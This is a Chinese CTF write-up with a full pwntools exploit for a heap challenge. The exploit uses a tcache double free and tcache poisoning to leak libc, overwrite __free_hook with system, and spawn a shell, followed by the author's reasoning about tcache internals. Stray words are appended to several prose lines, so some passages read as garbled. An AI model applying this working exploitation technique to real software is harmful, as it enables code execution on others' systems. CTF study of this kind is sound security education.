一道收穫蠻大的 PWN 題,拖了很久才 PWN 出來,關於 tcache 更加的瞭解了。文中有部分心理活動,你們樂呵樂呵吧,啊哈哈哈哈 Orznode
![](http://static.javashuo.com/static/loading.gif)
開頭先放 EXP:
python
# encoding=utf-8
from pwn import *
#context.log_level = 'debug'
p = process("./pwn")
#p = remote("node3.buuoj.cn",29686)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(index,size,content):
p.sendlineafter('choice > ',str(1))
p.sendlineafter('input the index\n',str(index))
p.sendlineafter('input the size\n',str(size))
p.sendlineafter('something\n',content)
p.recvuntil("gift :")
ptr = int(p.recv(14),16)
print index,":",hex(ptr)
return ptr
def remove(index):
p.sendlineafter('choice > ',str(2))
p.sendlineafter('input the index\n',str(index))
ptr0 = add(0,0x50,'a'*0x10)
add(1,0x70,'b'*0x10)
add(2,0x70,'c'*0x10)
add(3,0x50,'/bin/sh\x00')
add(4,0x10,'d'*0x10)
remove(0)
remove(0)
add(5,0x50,p64(ptr0-0x11e60))
add(6,0x50,'\x10')
add(7,0x50,'\x05'+'a'*3+'\x03'+'a'*(0x40-5)+p64(ptr0+0x50))
add(8,0x10,p64(0)+p64(0x101))
remove(0)
remove(0)
remove(1)#unsortedbin
add(9,0x50,p64(ptr0+0x60))
add('10',0x50,'\xd0')
add('11',0x50,'\xa0')
main_arena_addr = add('12',0x50,'\x50')-96
libc_base = main_arena_addr - libc.sym['__malloc_hook'] - 0x10
malloc_hook_addr = main_arena_addr-0x10
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f3c2
sys_addr = libc_base + libc.sym['system']
remove(0)
remove(0)
add('13',0x50,p64(free_hook))
add('14',0x50,'\11')
add('15',0x50,p64(sys_addr))
p.recvuntil("choice > ")
p.sendline('2')
p.sendlineafter("input the index\n",'3')
p.interactive()
首先申請幾個 chunk,而後對其中一個 free 兩次,由於有 tcache 機制,因此能夠 free,且會放在同一個 tcache 鏈表中 0x555555768e70linux
接下來申請回來 0x50,反手把 fd 指針改掉,改爲:web
0x555555768e70-0x11e60=0x555555757010shell
不太理解這個分配機制,都改掉鏈表了啊!?爲啥還會分到以前那裏!?ubuntu
多是這樣的,原本:微信
0x555555768e70 -> 0x555555768e70
編輯器
申請一個,同時把這個地方的 fd 指針給改成 0x555555757010ui
這時候成了 0x555555768e70 -> 0x555555757010
,再去申請的時候申請到了 0x555555768e70url
而後 tcache 鏈表是這樣的:0x555555757010
,而後再去申請的時候把 fd+0x40(不明白爲啥是這樣一個地方 fd+0x40 這樣子,明白了看後面吧hhhh)改爲 0x555555768ec0,而 tcache 再去找的時候也確實是找了這個地方
而後我發如今一開始 remove 以後 0x555555757070
這裏就有指向第 0 個的指針了,難道這是鏈表頭部?
一點一點看看,首先是所有申請以後:啥都沒有
對第 0 個 remove 一次以後:出現了第 0 個的地址
對第 0 個第二次 remove 後:第 0 個的 fd 也指向第 0 個了,合情合理
而後去 malloc 一個,同時把 fd 指針改爲 0x0000555555757010
由於 free 了兩次,因此應該還指向第 0 個,可是第 0 個的 fd 指針已經改變了
而後再去申請一個的話 tcache 就指向更改的那個 0x0000555555757010 了
咱們再經過申請時寫入到 0x555555757050 使得前面有個地方改爲 0x0000555555768ec0
(這時候忽然意識到 tcache 是每種大小的在一個鏈表),exp 中後面再去 malloc 的是 0x10,日後數一下,咱們以前看到的 0x555555757070 正好是 0x50 大小的鏈表那裏!!
也就是說若是下一個申請的是 0x10 大小的話就應該去 0x555555757050 去找指針
而咱們寫入的那個 0x0000555555768ec0 正好是第 1 個 chunk 的 chunk 頭,也就是說這樣咱們就能控制第 1 個 chunk 的 size 了,咱們在申請時將它的 size 改成了 0x100
另外 0x555555757010 這個地方正好對應着 tcache 的數量,好比一開始 remove 了兩個之後這個地方成了 2
由於咱們前面已經把除了咱們要用的都改爲了 0x61('a')了,因此即便 0x100 也會放入 unsorted bin 中
而後去 malloc 一個的同時把第 0 個的 fd 指針又改成了剛纔釋放的那一個,強行排隊2333
這樣再去申請第三次的時候就會申請到 unsorted bin 的地址,經過給的 gift 就能知道 main_arena+96 的地址了,而後就能計算出 libc 的地址啦!
而後要作的就是 double free 編輯 free_hook 爲 system 的地址,而後去 free 第三個就能夠拿到 shell 了(由於前面咱們把第三個上寫入的是 "/bin/sh")
固然,也能夠直接編輯 free_hook 爲 one gadget,這樣隨便 free 哪個均可以啦!
本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。